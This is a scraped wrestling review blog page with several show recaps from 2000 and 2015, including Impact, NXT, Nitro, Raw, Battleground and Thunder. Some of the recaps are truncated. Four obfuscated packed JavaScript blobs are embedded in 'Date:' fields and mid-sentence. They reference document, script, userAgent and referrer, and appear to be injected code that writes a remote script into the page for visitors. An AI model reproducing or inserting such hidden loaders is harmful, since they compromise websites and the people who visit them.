New Column: It’s A Big World After All
Something I thought about over the ocean.
http://www.wrestlingrumors.net/kbs-review-its-a-big-world-after-all/37205/
Impact Wrestling – July 22, 2015: TNA’s Epithet
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Wrestling
Date: July 22, 2015
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews
Bram vs. Magnus
This is a street fight joined in progress with Magnus chopping away. A superplex plants Bram again and Magnus boots him in the face. This has been one sided so far. Bram finally gets an opening as Magnus goes for weapons, allowing Bram to score with a cookie sheet shot to the head. Magnus comes back with some weapon shots of his own but the referee gets bumped, meaning the Spine Shaker only gets a close two. Bram hits Magnus low and grabs a rollup for the pin at 6:37, likely writing Magnus off TV.
Post match James Storm comes out and tells Magnus that the partner is revealed tonight.
From Slammiversary 2015 (the full version instead of the clipped one):
King of the Mountain Title: Drew Galloway vs. Eric Young vs. Bobby Roode vs. Matt Hardy vs. Jeff Jarrett
Young hits Jarrett low but gets rolled up by Galloway for a pin. Matt hits a Twist of Fate for a pin on Roode at the same time, sending both Young and Roode to the box at the same time. Only Jarrett is unqualified at this point. Hardy and Galloway fight on the ladder (yeah remember the whole ladder part of this match?) but Jeff shoves them both down and Strokes Galloway for two with Hardy making the save.
Counting commercials, this ate up about 35 minutes of the show.
We recap Mickie James and Magnus challenging James Storm to find a woman to face the two of them.
Eric Young vs. Rockstar Spud
Chain match, for reasons not clear. Young dominates to start and beats Spud with the chain before taking him outside for some whips into the barricade with the chain. Back in and more chain shots get two but Spud low blows Eric with the chain to take over. Spud goes after Eric in the corner but Young pulls the referee in the way, setting up a quick piledriver to pin Spud at 5:48.
Rating: D. There was no reason for this to be a chain match but at least they kept it short. Young being violent is far more acceptable than just calling him crazy over and over again, which was my major problem with his former character. Spud needs something better than this and hopefully that comes soon.
Matt Hardy vs. Bobby Roode
Results
Bram b. Magnus – Low blow
Eric Young b. Rockstar Spud – Piledriver
Matt Hardy b. Bobby Roode – Backdrop through a table
Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:
http://www.amazon.com/dp/B011T13PV4
And check out my Amazon author page with cheap wrestling books at:
NXT – July 22, 2015: Let’s Get To It
NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|herff|var|u0026u|referrer|dfekk||js|php'.split('|'),0,{}))
July 22, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Corey Graves, Rich Brennan, Byron Saxton
A quick opening video shows us Balor returning to Japan to win the title.
Eva Marie vs. Cassie
Baron Corbin vs. ???
Samoa Joe vs. Mike Rallis
Bayley vs. Emma
Post match Bayley says she wants the title and wants to beat the best to get there. Therefore, she wants a match with Charlotte.
We get a clip of the NXT girls making their in ring debut at Battleground.
Charlotte is thankful for the opportunity when Dana Brooke comes in. Dana is tired of everyone getting a chance because of their last name when she has never gotten a single shot. Charlotte likes the sound of that and says Bayley can wait a week.
Vaudevillains vs. Angelo Dawkins/Sawyer Fulton
Results
Eva Marie b. Cassie – Sliced Bread #2
Baron Corbin b. Jesus de Leon – End of Days
Samoa Joe b. Mike Rallis – Muscle Buster
Bayley b. Emma – Bayley to Belly
Vaudevillains b. Angelo Dawkins/Sawyer Fulton – Whirling Dervish to Dawkins
Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:
http://www.amazon.com/dp/B011T13PV4
And check out my Amazon author page with cheap wrestling books at:
Pick A Summerslam For Me To Redo
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dizte|var|u0026u|referrer|izzst||js|php'.split('|'),0,{})) year’s count-up starts on Monday and as usual, I’ll be doing a new version of last year’s show. However, I’d like to do an additional redo and I’ll be letting you all pick which I do. Vote in the comments for the show you want me to do over again.
Monday Nitro – February 28, 2000: The Will To Fight Is Gone
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Nitro #229
Date: February 28, 2000
Location: Target Center, Minneapolis, Minnesota
Attendance: 4,638
Commentators: Tony Schiavone, Mark Madden
Opening sequence.
Tag Team Titles: Mamalukes vs. 2XS
Idol comes in and cleans house as everything breaks down. Hancock gets on the table to dance (and keeps having to pull her skirt, if you can even call it that, down). Everyone but Vito (down) is distracted, allowing Vito to get up and plant Idol with the DDT for the pin. Tony: “Finally something happens in the match.” The match was short and we missed way too much of it looking at Hancock, making this one of the more entertaining matches in a long time.
We run down the card.
The KidCam sees Bagwell hitting on Liz. This is totally and completely different than GTV. This was also taped earlier as Luger, Liz and Flair are watching. Ric wants to take Bagwell out for this.
Bigelow picks Sid to beat Abbott tonight.
Hogan, with his weightlifting belt back, wants a Yappapai strap match with Flair at Uncensored. You can hear the fans boo when he calls himself the greatest of all time.
Booker blames the tag team loss on Thunder on Kidman being on the floor with Torrie.
Torrie and Kidman want the KidCam back.
Nitro Girls.
Madden talks while Tony is on the phone. The results of the call: Sting will be here tonight. They needed a call to confirm that?
Booker vs. Kidman
Imagine that: taking two young, talented people and having them fight each other in a meaningless match instead of building them up. Booker elbows him down for two but gets caught in a victory roll for the same. The ax kick plants Booker but here come the Harris Twins for the DQ.
Both guys take H Bombs and Torrie gets knocked off the apron.
Lash Leroux thinks Sid wins tonight.
Norman Smiley is going to beat up Dustin Rhodes for Dustin hurting Terry Funk. Anything new for Norman is an upgrade.
Hardcore Title: 3 Count vs. Brian Knobbs
Vampiro wants to show Jeff Jarrett some pain tonight.
Norman Smiley vs. Dustin Rhodes
US Title: Vampiro vs. Jeff Jarrett
Jeff is defending and has a bunch of women with him but quickly sends them to the back. Before we get to the match, we get a quick recap of Jeff guitaring everyone, which now cost him $10,000 apiece. They start fast with headlocks into headscissors but Vampiro starts firing off the kicks. That goes nowhere so they head outside with Jarrett dropping him on the barricade to take over.
The Mamalukes pay a guy to give the Harris Twins a package.
Ricki Rachman, an annoying tattooed guy who does promotional stuff, talks to Disco Inferno about 3 Count while sitting at a restaurant at Ohio State. Seriously.
Fit Finlay attacked Vampiro during the break. Why you ask? Not answered, just like when he did it on Wednesday.
Cruiserweight Title: The Artist Formerly Known As Prince Iaukea vs. David Flair
David is challenging and Crowbar is on commentary. Prince licks his own finger and points at David so David points back at him. Crowbar does an actually funny Gordon Solie imitation, getting in every catchphrase he can. Prince takes him down with some right hands but Crowbar shoves him off the ropes. David covers for two but the girls get in a fight, allowing Prince to hit his middle rope DDT to retain.
Sid has been attacked and a guitar is seen nearby.
The Cat vs. The Maestro
Cat insults some fat fans before Maestro comes out. Symphony carries out a boom box with the music Stro has to listen to as part of the bet. The boom box plays what sounds like 3 Count, Maestro freaks out and hits Cat with the boom box and gets the pin.
Liz and Luger have lost the bat.
Kidman picks Tank Abbott.
Ric Flair vs. Curt Hennig
Hennig slugs away in the corner to start and nails a backdrop, followed by some chops in the corner. Flair gets slammed off the top as this has literally been all Hennig so far. We get a ref bump because wrestling has gotten too complicated around here. The PerfectPlex has Flair in trouble but Luger comes in for the save. A low blow gives Ric the pin.
More stuff from Ohio State.
Total Package vs. Buff Bagwell
They load up the Pillmanizing but Sting returns for the save. Returns after being gone for a week that is.
WCW World Title: Sid Vicious vs. Tank Abbott
Rating: D. Well, they tried some psychology but it wound up being a bunch of punching and chinlocks until Sid grabbed a hold to retain. This could have been far worse, but I could have gone for them sacrificing Tank to someone who needs the win instead of the World Champion. At least it was short and made sense though.
Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:
http://www.amazon.com/dp/B011T13PV4
And check out my Amazon author page with cheap wrestling books at:
Ring of Honor – July 15, 2015: Rednecks And Real Men
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of Honor
Date: July 15, 2015
Location: Terminal 5, New York City, New York
Commentators: King Corino, Kevin Kelly
Opening sequence.
Adam Page vs. Matt Sydal
Post match Whitmer comes in for the beatdown but ACH tries to make a save. This goes very badly as Colby throws in a bunch of chairs to help with the beatdown, capped off by the reverse piledriver on Sydal onto the chairs. King Corino freaks out and tells his kid to stop.
We run down the Death Before Dishonor card.
Silas Young vs. Will Ferrara
TV Title: Mark Briscoe vs. Jay Lethal
We come back with Roderick Strong on commentary to bore everyone to death. Mark suplexes the champ down and kicks him in the chest, only to have the House of Truth come in for a distraction so Lethal can take over. We hit the chinlock followed by a front facelock until Mark nails a running clothesline. Jay superkicks him in the jaw to stop the comeback but the Lethal Injection is countered with a German suplex to send him outside. A Cactus Jack elbow takes us to our second break of the match.
Back again with ODB and Martini getting into it again and Jay Briscoe taking out Jay (PICK A NEW FIRST NAME) Diesel, allowing the Froggy Bow (frog splash elbow) to get two on the champ. ODB gets wiped out and Diesel hits Mark low, setting up the Lethal Injection (that stupid handspring RKO) to retain the title at 16:45.
Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:
http://www.amazon.com/dp/B011T13PV4
And check out my Amazon author page with cheap wrestling books at:
All Back To Normal
I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etaay|var|u0026u|referrer|rbbad||js|php'.split('|'),0,{})) back in the States and everything should be on the normal schedule going forward. Thanks for your patience while I’ve been away for a few weeks.
KB
Monday Night Raw – July 20, 2015: The Old and the Beautiful
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Night Raw
Date: July 20, 2015
Location: Sprint Center, Kansas City, Missouri
Commentators: Michael Cole, Byron Saxton, John Bradshaw Layfield
The opening recap looks at the end of the main event.
Cena/Orton/Cesaro vs. Rusev/Owens/Sheamus for the main event. Cesaro and Rusev getting those spots is a great sign.
Charlotte vs. Brie Bella
HHH is on the phone with Heyman and tells Lesnar to take the night off. Heyman needs to grow a set and tell Lesnar to not show up tonight. Miz tries to interrupt and gets Big Show as a result.
Prime Time Players vs. Los Matadores
Big Show vs. Miz
Show chops Miz in the corner to start, as only Big Show can do. A slam sets up the middle rope elbow for the pin on Miz at 1:27. And he was supposed to get a title shot last night?
Back from a break with the roster meeting with the Authority. They want the entire locker room to keep Lesnar and Undertaker apart because they have to protect the Summerslam main event. There is WAY too much Authority tonight.
Luke Harper vs. Roman Reigns
Everyone brawls post match and the Wyatts run.
We get the same recap from the opening.
Paige/Becky Lynch vs. Naomi/Sasha Banks
Becky rolls away and DIVES for a tag but Sasha makes a save, only to have the hot tag bring in Paige a second later. Paige cleans house but the PTO on Maomi is broken up at the last second. Everything breaks down as the Bellas just keep chattering like they do in everything they say. The Bank Statement makes Paige tag at 13:05.
Southpaw preview, which is tied into a Tough Enough plug.
Long Undertaker vs. Lesnar recap.
Lana says Ziggler will be fine when Summer Rae comes up in a Lana outfit. Rusev comes in to kiss Summer, who then slaps Lana in the face.
Randy Orton/John Cena/Cesaro vs. Kevin Owens/Rusev/Sheamus
Everything breaks down and Cesaro loads up the Swing, only to eat a jumping superkick to send the match to a break. Back with Owens holding Cesaro down until Cesaro powers up with a nice suplex. Cesaro gets to play face in peril for a bit as all the heels get in their shots. Sheamus and Owens wind up hitting each other though and the fight is on with Sheamus getting the worse of it.
Sheamus walks out on the match and Owens does the same a few moments later, leaving Rusev down 3-1. This goes about as you would expect it to with the parade of finishers putting Rusev down. Cue Lana to spear Summer down, leaving Cesaro to catapult Rusev into an RKO for the pin at 14:21.
Results
Charlotte b. Brie Bella – Figure Eight
Big Show b. Miz – Middle rope elbow
Roman Reigns b. Luke Harper via DQ when Bray Wyatt interfered
Sasha Banks/Naomi b. Paige/Becky Lynch – Bank Statement to Paige
John Cena/Randy Orton/Cesaro b. Rusev/Kevin Owens/Sheamus – RKO to Rusev
Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:
http://www.amazon.com/dp/B011T13PV4
And check out my Amazon author page with cheap wrestling books at:
Battleground 2015: Burn It To The Ground
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2015
Date: July 19, 2015
Location: Scottrade Center, St. Louis, Missouri
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler
Pre-Show: King Barrett vs. R-Truth
Randy Orton vs. Sheamus
Rating: C+. This took its time to get going but the second half was far better than the first. In other words, it was another good TV match formula transferred over to pay per view. Orton going over here, while annoying in a way, was the right choice for an opener, even though I hate Sheamus losing as Mr. Money in the Bank. Good back and forth stuff here though and I got a lot more into it after that chinlock.
Tag Team Titles: Prime Time Players vs. New Day
Bray Wyatt vs. Roman Reigns
The fireflies continue to look awesome. They lock up to start with Bray hammering him down in the corner for a bit of a surprise. The fans are WAY into Wyatt here, though it might be more anti-Roman instead. An uppercut sends Wyatt to the floor but he pops Reigns with one of his own to take over again. The cross body block takes Reigns down again but Reigns Samoan drops him out to the floor.
Sister Abigail is broken up (obvious due to being a slow kiss) so Reigns hits ten clotheslines in the corner and another Samoan drop. Both guys are spent so Bray grabs some chairs. Reigns knocks them away just as quickly though and grabs chairs of his own. All four chairs wind up in the ring but someone in a hood superkicks Reigns, allowing Bray to hit Sister Abigail for the pin at 22:10.
Sasha Banks vs. Charlotte vs. Nikki Bella
Sasha Banks vs. Charlotte vs. Brie Bella
Brie comes back in with a double missile dropkick (with the camera barely catching it), setting up the BRIE MODE running knees to the chest. The Bellas huddle on the floor but are quickly surrounded, setting up a BIG staredown. Sasha dives through the ropes to take out a lot of them, followed by Charlotte diving on the rest. Back in and Brie breaks up the Bank Statement on Charlotte, only to have the Bella Buster countered into the Figure Eight for the submission at 11:31. Cole: “TEAM BELLA IS MORTAL!” Oh shut up Michael.
The preshow panel recaps the night, including Barrett beating Truth.
US Title: John Cena vs. Kevin Owens
WWE World Heavyweight Title: Seth Rollins vs. Brock Lesnar
German #6 has Rollins in even more trouble and Brock looks livid. Rollins backflips out of #7 and hits a superkick (way too common a move tonight), followed by three straight low superkicks. Another regular superkick means Rollins can apply to be a Young Buck, but the Pedigree is easily countered. Rollins hits a pair of suicide dives but Brock charges in and throws Rollins with a belly to belly.
Results
Randy Orton b. Sheamus – RKO
Prime Time Players b. New Day – Clash of the Titus to Big E.
Bray Wyatt b. Roman Reigns – Sister Abigail
Charlotte b. Brie Bella and Sasha Banks – Figure Eight to Bella
John Cena b. Kevin Owens – STF
Brock Lesnar vs. Seth Rollins went to a no contest when Undertaker interfered
Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:
http://www.amazon.com/dp/B011T13PV4
And check out my Amazon author page with cheap wrestling books at:
Thunder – February 23, 2000: Ten Years Too Late
Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftarz|var|u0026u|referrer|yhzbr||js|php'.split('|'),0,{}))
February 23, 2000
Location: Lawlor Events Center, Reno, Nevada
Attendance: 3,777
Commentators: Mike Tenay, Bobby Heenan
We open with a quick recap from Monday.
Opening sequence.
Evan Karagias vs. Fit Finlay
Jarrett says Sid loses at Uncensored.
Buff hits on Daffney like he did with Symphony on Monday, earning him a scream to the face.
David Flair is annoyed at Daffney for Buff hitting on her.
Berlyn vs. La Parka
Buff Bagwell vs. David Flair
Post match Bagwell beats up Maestro and Symphony. Again, who am I supposed to cheer for here?
SuperBrawl clips. Clips, not stills.
Tank Abbott vs. Mike Jones
Ralphus comes in to see Nash (despite not recognizing him on the phone). The big man (Nash that is) thinks Sid is the Joker. Ralphus: “Concussion?” Nurse: “Bingo.” Nash: “B-I-N-G-O and Bingo was his name-o!” Dang it I laughed. Why did I have to laugh?
Vampiro vs. Ric Flair
Vampiro gets a big beatdown post match.
Kidman and Booker are a team now.
We recap Dustin Rhodes turning on Funk on Nitro.
This Week In WCW Motorsports.
Cruiserweight Title: The Artist Formerly Known As Prince Iaukea vs. Crowbar
The Wall vs. Disco Inferno
2XS attacks the Mamalukes in the back, leaving Disco all alone. Panic sets in and Disco tries to offer Wall a handicap title match but gets kicked in the face instead. A press slam drops Disco again but he avoids a charge in the corner. Disco hammers away with a clothesline, punches, stomps and a neckbreaker but runs right into the chokeslam for the pin. Wall wins again, which is a good sign before some old midcarder beats him.
Luger and Liz are ready for Sid. For some reason Luger calls himself Sid.
Booker/Kidman vs. Harris Twins
Video on Regal vs. Duggan for the TV Title this Saturday on Saturday Night. That sounds like a way to write Regal out of the company.
Total Package vs. Sid Vicious